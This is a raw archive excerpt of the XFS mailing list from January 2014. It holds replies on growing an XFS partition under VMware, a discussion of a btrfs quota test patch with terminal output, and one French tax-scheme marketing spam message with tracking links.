_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _= _ _ _ _ _ _ _ _ _ _ _ _ This email is confidential and intended solely for= the use of the individual to whom it is addressed. If you have received th= is email in error please contact the sender and be advised that any use, dissemination, forwarding, printin= g, or copying of this email is strictly prohibited. The terms for the purch= ase and sale of any property referenced in this email shall be solely deter= mined by a ratified Purchase Agreement. Any information provided in this email, including but not limited to, pric= ing, financing, features of a property and/or community, is not to be const= rued as the basis of the bargain for the purchase and sale of any such prop= erty. --_000_15F45A6CEAEFE340A264C3346D71EF04C4C339DCEX01PRDnvrincco_-- From lists@colorremedies.com Mon Jan 6 16:43:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 67F777F37 for ; Mon, 6 Jan 2014 16:43:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EE649AC003 for ; Mon, 6 Jan 2014 14:43:24 -0800 (PST) X-ASG-Debug-ID: 1389048201-04bdf00fe0538a80001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id 4pjUmNmOimdJsmZZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 14:43:22 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:57323 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1W0ItF-000qPu-CR; Mon, 06 Jan 2014 15:43:21 -0700 Content-Type: multipart/alternative; boundary="Apple-Mail=_3B7D1D76-9736-4DE3-97ED-286813F1BD40" Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: noob question From: Chris Murphy X-ASG-Orig-Subj: Re: noob question In-Reply-To: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> Date: Mon, 6 Jan 2014 15:43:20 -0700 Cc: "xfs@oss.sgi.com" Message-Id: References: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> To: "Fitzgerald, Dan" X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1389048202 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message --Apple-Mail=_3B7D1D76-9736-4DE3-97ED-286813F1BD40 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 6, 2014, at 3:11 PM, "Fitzgerald, Dan" = wrote: >=20 > data =3D bsize=3D4096 blocks=3D19323392, = imaxpct=3D25 It's a 73.7GiB file system. >=20 > /space# df -k . > Filesystem 1K-blocks Used Available Use% Mounted on > /dev/sda8 77255828 15375660 61880168 20% /space On a 73.7GiB partition.=20 You need to make the partition bigger if you want the file system = bigger. > I=92m told that the presented disk was extended by 150Gb in VMWare. = How can I verify that?=20 Something's confused. Have you restarted the VM and then check with: parted -l /dev/sda u s p or gdisk -l /dev/sda #if gpt partitions, gdisk is friendlier than = parted, same syntax as fdisk Chris Murphy= --Apple-Mail=_3B7D1D76-9736-4DE3-97ED-286813F1BD40 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252 dfitzger@nvrinc.com> = wrote:


/space# df -k .

 I=92m told that the presented disk was extended by = 150Gb in VMWare. How can I verify = that? 


Something's = confused. Have you restarted the VM and then check = with:

parted -l /dev/sda u s = p
or
gdisk -l /dev/sda    #if gpt = partitions, gdisk is friendlier than parted, same syntax as = fdisk

Chris Murphy
= --Apple-Mail=_3B7D1D76-9736-4DE3-97ED-286813F1BD40-- From pam=news-zetrend.com@mlgnusa.com Mon Jan 6 19:08:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A09817F37 for ; Mon, 6 Jan 2014 19:08:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 52E968F8037 for ; Mon, 6 Jan 2014 17:08:46 -0800 (PST) X-ASG-Debug-ID: 1389056919-04bdf00fe253fa90001-NocioJ Received: from mail2.mlgnusa.com (mail2.mlgnusa.com [194.19.244.189]) by cuda.sgi.com with ESMTP id 5OVdUB85BCpxfxke for ; Mon, 06 Jan 2014 17:08:40 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.189 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=rWH7021p9aDi7oHkcCWP/zKGk4U=; b=ijaRW8eDHT1Mo7xtbO891S39vqz6dTDwTgJ0J3FRjSp46LRZEU55ZXfSbhMMKoiAhsn7u6ykX1Qf OTVRc5fOrn776tPiQvTpgqRYMFdwAfHNoNWrb6rPekgY1FnjbfFIst9uMhElUKhwqj7TzHv50RE8 VbNdCqazzaeCJ+JAXM0= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=woPVX4frK1BkSoiBHQ4pOeQOF7rcYo0Q2AjIWO0zGFGNsTbPpbjuKtW6OuqkGGcxUyBQt3+lLFIG IBh9C0MuDzSmERlws2BoX5OWsQ/kmNb9zSeGxkFY68dpLAfAvsvutd6OiChzlRRzSs/eAKQXStpI vugIqYUochSmsrDw4zU=; Received: by mail2.mlgnusa.com id hpd9pg1fblcp for ; Tue, 7 Jan 2014 03:08:36 +0200 (envelope-from ) Date: Tue, 7 Jan 2014 03:01:02 +0200 To: From: Loi Duflot Reply-To: Loi Duflot Subject: =?utf-8?Q?Z=C3=A9ro_euro_d=E2=80=99imp=C3=B4ts_pendant_9ans?= Message-ID: <219e8e34755fa8a14e46930125b0ae52@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Z=C3=A9ro_euro_d=E2=80=99imp=C3=B4ts_pendant_9ans?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDdc2d0c0cd09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.dc2d0c0c X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.dc2d0c0c X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=dc2d0c0c&e=d09c0023 List-Unsubscribe: , Sender: "Loi Duflot" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_5c7b37b14515107a19ce350c91bc183a" X-Barracuda-Connect: mail2.mlgnusa.com[194.19.244.189] X-Barracuda-Start-Time: 1389056920 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143811 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_5c7b37b14515107a19ce350c91bc183a Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Loi Duflot 2014 : http://mtrc1.digital-metric.com/clic.php?params=dcd846286f72be5e262e15dabcfd9a8d&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=1425906f4136c74b32242c3ab277e175&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=6123c1bdd47f8fc7d514bbb86e4cc5fb&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=73c23935240e793e7585a95c7a375e4e&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=17f729565278964f7d708aa200c0fb88&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=19a5106c5c98e34b89c078400bee3970&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=5cdcb3c4fce340c1511ac9f4dd018719&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=d573404259602d045cdad399763c89a6&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=55866769d86a8e7b1be20c7b9fd5bfbe&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=1f8991dc57a98c151f10a5c641425f5d&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=6c0d67cef5eac4e58463f15a0e1aa6d1&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=8a31dd493297f2bbe881cbf54767ca50&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=33dfbd8bbf6a8c751fde2517e46ec840&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D : http://mtrc1.digital-metric.com/clic.php?params=26749f124298da9c2146cf4de4fbe821&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D QU'EST CE QUE LA LOI DUFLOT ? La Loi Duflot 2014 accorde aux particuliers qui investissent dans un logement neuf BBC, une forte réduction d'Impôt sur le Revenu pendant toute la période de mise en location du logement, d'une durée minimum de 9 ans. Sans apport, avec la Loi Duflot 2014 : • Je réduis mes impôts • Je me constitue un patrimoine • Je prépare ma retraite Téléchargez gratuitement notre guide pour en savoir plus ICI: http://mtrc1.digital-metric.com/clic.php?params=9e1dc7acdd17c91d08aed508444f4055&url=http%3A%2F%2Floi-duflot-18.com%2Findex.php%3Ftpl%3Djanvier2014-01%26o_p%3Dam%26trk%3Dam%26email%3Dxfs@oss.sgi.com%26nom%3D%26prenom%3D ========================================== Ce courriel a été envoyé par Loi Duflot à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=dc2d0c0c&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=dc2d0c0c&ln=fr --b1_5c7b37b14515107a19ce350c91bc183a Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Loi Duflot 2014
Effacer mes impots.com
Effacer mes impots.com
0e d'impots
Pendant 9ans avec la loi Duflot
Guide 2014 Loi Duflot Le guide 2014 + une simulation gratuite
Effacer mes impots.com
Télécharger le guide
Avec la loi Duflot je transforme mes impôts en patrimoine
Constituez un patrimoine immobilier Préparez l'avenir de vos enfants Percevez des revenus complémentaires Bénéficiez d'une fiscalité avantageuse
Effacer mes impots.com
QU'EST CE QUE LA LOI DUFLOT ?

La Loi Duflot 2014 accorde aux particuliers qui investissent dans un logement neuf BBC, une forte réduction d'Impôt sur le Revenu pendant toute la période de mise en location du logement, d'une durée minimum de 9 ans.

Sans apport, avec la Loi Duflot 2014 :
        • Je réduis mes impôts
        • Je me constitue un patrimoine
        • Je prépare ma retraite

Téléchargez gratuitement notre guide pour en savoir plus ICI
Ce courriel a été envoyé par Loi Duflot à xfs@oss.sgi.com.
Zetrend | 2, Place Louis Pradel, lyon, 60001, France
Pourquoi je reçois ce mail?
Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
--b1_5c7b37b14515107a19ce350c91bc183a-- From t-itoh@jp.fujitsu.com Mon Jan 6 19:11:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DA1C7F37 for ; Mon, 6 Jan 2014 19:11:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5C19AC002 for ; Mon, 6 Jan 2014 17:11:44 -0800 (PST) X-ASG-Debug-ID: 1389057101-04bdf00fdf53fc80001-NocioJ Received: from fgwmail6.fujitsu.co.jp (fgwmail6.fujitsu.co.jp [192.51.44.36]) by cuda.sgi.com with ESMTP id OuStBM1DKnPXnGYA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 17:11:42 -0800 (PST) X-Barracuda-Envelope-From: t-itoh@jp.fujitsu.com X-Barracuda-Apparent-Source-IP: 192.51.44.36 Received: from m4.gw.fujitsu.co.jp (unknown [10.0.50.74]) by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id 38D9D3EE0AE for ; Tue, 7 Jan 2014 10:11:41 +0900 (JST) Received: from smail (m4 [127.0.0.1]) by outgoing.m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 2A68345DE4D for ; Tue, 7 Jan 2014 10:11:41 +0900 (JST) Received: from s4.gw.fujitsu.co.jp (s4.gw.nic.fujitsu.com [10.0.50.94]) by m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 1388945DD76 for ; Tue, 7 Jan 2014 10:11:41 +0900 (JST) Received: from s4.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 072041DB8032 for ; Tue, 7 Jan 2014 10:11:41 +0900 (JST) Received: from ml14.s.css.fujitsu.com (ml14.s.css.fujitsu.com [10.240.81.134]) by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id A94B91DB803B for ; Tue, 7 Jan 2014 10:11:40 +0900 (JST) Received: from ml14.css.fujitsu.com (ml14 [127.0.0.1]) by ml14.s.css.fujitsu.com (Postfix) with ESMTP id 76A95584006; Tue, 7 Jan 2014 10:11:40 +0900 (JST) Received: from [127.0.0.1] (univ278.g01.fujitsu.local [10.124.102.72]) by ml14.s.css.fujitsu.com (Postfix) with ESMTP id 10E8E584001; Tue, 7 Jan 2014 10:11:40 +0900 (JST) X-SecurityPolicyCheck: OK by SHieldMailChecker v1.7.4 Message-ID: <52CB5441.3030004@jp.fujitsu.com> Date: Tue, 07 Jan 2014 10:11:29 +0900 From: Tsutomu Itoh User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <52CA67F2.9010108@jp.fujitsu.com> <52CA6DDF.3080306@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <52CA6DDF.3080306@cn.fujitsu.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Connect: fgwmail6.fujitsu.co.jp[192.51.44.36] X-Barracuda-Start-Time: 1389057102 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.00 X-Barracuda-Spam-Status: No, SCORE=-0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143811 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message On 2014/01/06 17:48, Wang Shilong wrote: > Itoh San, > > On 01/06/2014 04:23 PM, Tsutomu Itoh wrote: >> On 2014/01/06 17:08, Wang Shilong wrote: >>> Here we expect 0 as return value, fix it. >>> >>> Signed-off-by: Wang Shilong >>> Cc: Josef Bacik >>> --- >>> tests/btrfs/022 | 2 +- >>> 1 file changed, 1 insertion(+), 1 deletion(-) >>> mode change 100644 => 100755 tests/btrfs/022 >>> >>> diff --git a/tests/btrfs/022 b/tests/btrfs/022 >>> old mode 100644 >>> new mode 100755 >>> index 5b18643..142aaf9 >>> --- a/tests/btrfs/022 >>> +++ b/tests/btrfs/022 >>> @@ -106,7 +106,7 @@ _limit_test() >>> [ $? -ne 0 ] || _fail "quota should have limited us" >>> dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ >>> $seqres.full 2>&1 >>> - [ $? -eq 0 ] || _fail "should have been allowed to write" >>> + [ $? -ne 0 ] || _fail "should have been allowed to write" >> from "man bash", >> An OR list has the form >> command1 || command2 >> command2 is executed if and only if command1 returns a non-zero exit >> status. >> >> So, original code is OK, I think. > > You are absolutely right, during my test i found we fail this case. > I took a careful think about this: > > The problem is that we should clear the data we have written before, > Because we may write some data before, for example we limit subvolume to 5M > then we try this: > > # dd if=/dev/zero of=/mnt/data bs=10M count=1 > > Although we try to write 10M once, in kernel, we may split it into > several request, > at the end, we can still write some data actually, you can try the > following command > after the above command. > > # du -sh /mnt/data > > Here i think the best way to fix this problem is we disable quota and > retry with 4m. Umm... I don't think so. Writing (or truncating) succeeds if sync is executed before writing 4MB. Therefore, I think that there are some problems in quota. =============================================================== # mkfs.btrfs -f /dev/sdc2 WARNING! - Btrfs v3.12 IS EXPERIMENTAL WARNING! - see http://btrfs.wiki.kernel.org before using Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 fs created label (null) on /dev/sdc2 nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB Btrfs v3.12 # mount /dev/sdc2 /test8 # btrfs quota enable /test8 # btrfs qgroup limit 5M /test8 # dd if=/dev/zero of=/test8/file1 bs=10M count=1 dd: error writing '/test8/file1': Disk quota exceeded 1+0 records in 0+0 records out 5160960 bytes (5.2 MB) copied, 0.012274 s, 420 MB/s # ls -ls /test8/file1 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 # truncate -s 0 /test8/file1 truncate: failed to truncate '/test8/file1' at 0 bytes: Disk quota exceeded # ls -ls /test8/file1 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 # dd if=/dev/zero of=/test8/file1 bs=4M count=1 dd: failed to open '/test8/file1': Disk quota exceeded # ls -ls /test8/file1 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 # --------------------------------------------------------------- # mkfs.btrfs -f /dev/sdc2 WARNING! - Btrfs v3.12 IS EXPERIMENTAL WARNING! - see http://btrfs.wiki.kernel.org before using Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 fs created label (null) on /dev/sdc2 nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB Btrfs v3.12 # mount /dev/sdc2 /test8 # btrfs quota enable /test8 # btrfs qgroup limit 5M /test8 # dd if=/dev/zero of=/test8/file1 bs=10M count=1 dd: error writing '/test8/file1': Disk quota exceeded 1+0 records in 0+0 records out 5160960 bytes (5.2 MB) copied, 0.0120232 s, 429 MB/s # ls -ls /test8/file1 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 # btrfs filesystem sync /test8 FSSync '/test8' # truncate -s 0 /test8/file1 # ls -ls /test8/file1 0 -rw-r--r-- 1 root root 0 Jan 7 09:54 /test8/file1 # dd if=/dev/zero of=/test8/file1 bs=4M count=1 1+0 records in 1+0 records out 4194304 bytes (4.2 MB) copied, 0.00734557 s, 571 MB/s # ls -ls /test8/file1 4096 -rw-r--r-- 1 root root 4194304 Jan 7 09:54 /test8/file1 # =============================================================== Thanks, Tsutomu > > # btrfs qgroup limit none /mnt <------------- in case we are nearly full > and we can not delete file. > # rm -rf /mnt/data && btrfs filesystem sync /mnt > # btrfs qgroup limit 5m /mnt > # dd if=/dev/zero of=/mnt bs=4m count=1 > > Please correct me if i miss something here.^_^ > > Thanks, > Wang >> Thanks, >> Tsutomu >> >>> } >>> >>> _scratch_mkfs > /dev/null 2>&1 >>> >> > From stan@hardwarefreak.com Mon Jan 6 19:59:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DEE4C7F37 for ; Mon, 6 Jan 2014 19:59:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6B08304081 for ; Mon, 6 Jan 2014 17:59:04 -0800 (PST) X-ASG-Debug-ID: 1389059943-04cbb04168c48890001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id azrXiN827r4KrGHH for ; Mon, 06 Jan 2014 17:59:04 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 9B5AC6C139; Mon, 6 Jan 2014 19:59:03 -0600 (CST) Message-ID: <52CB5F63.3040204@hardwarefreak.com> Date: Mon, 06 Jan 2014 19:58:59 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: "Fitzgerald, Dan" , "xfs@oss.sgi.com" Subject: Re: noob question References: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> X-ASG-Orig-Subj: Re: noob question In-Reply-To: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1389059944 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/6/2014 4:11 PM, Fitzgerald, Dan wrote: > I had our VMWare admin extend the file system on which /space is > mounted (/dev/sda8). Repeat at least three times: Storage requires planning. xfs_growfs only works on contiguous LBA sectors. The free space to be grown into must begin one LBA sector after the last LBA sector of the current XFS filesystem. If XFS resides on a partition, then the partition itself must be expanded into the free space before XFS can be grown into the newly expanded partition. This seems to be your situation. Resizing partitions is not a fun exercise, and if not done properly you can lose everything, literally. If a block device is directly formatted with XFS things are easy. Simply expand the block device capacity, then run xfs_growfs. Because of the limitations up above, those wishing to add capacity using partitions, in an ad hoc manner, such as you seem to desire here, put their block device space in LVM volumes. LVM can create a linear LBA address space from little pieces of capacity strewn all over the place on many different storage devices, regardless of their native LBA addressing. I don't really care for this method either. I've worked with ESX and bare metal hosts on FC SANs fairly extensively. For each of my guests/hosts I assign a 10GB LUN for the guest's boot/root filesystems, and a separate LUN(s), sized appropriately, for its data volume(s). I directly format each LUN, no partitions. In the event I need to expand a LUN to increase capacity, xfs_growfs simply works, the way it should, with no hoop jumping. If you need PIT snapshot capability you must use LVM, unless your storage has a PIT snapshot facility, or you use VMware's snapshot utility. -- Stan From wangsl.fnst@cn.fujitsu.com Mon Jan 6 20:20:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3FE47F37 for ; Mon, 6 Jan 2014 20:20:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6D50B304082 for ; Mon, 6 Jan 2014 18:20:28 -0800 (PST) X-ASG-Debug-ID: 1389061221-04bdf00fe25430e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id rRAUIkuVOScfRplu for ; Mon, 06 Jan 2014 18:20:23 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com 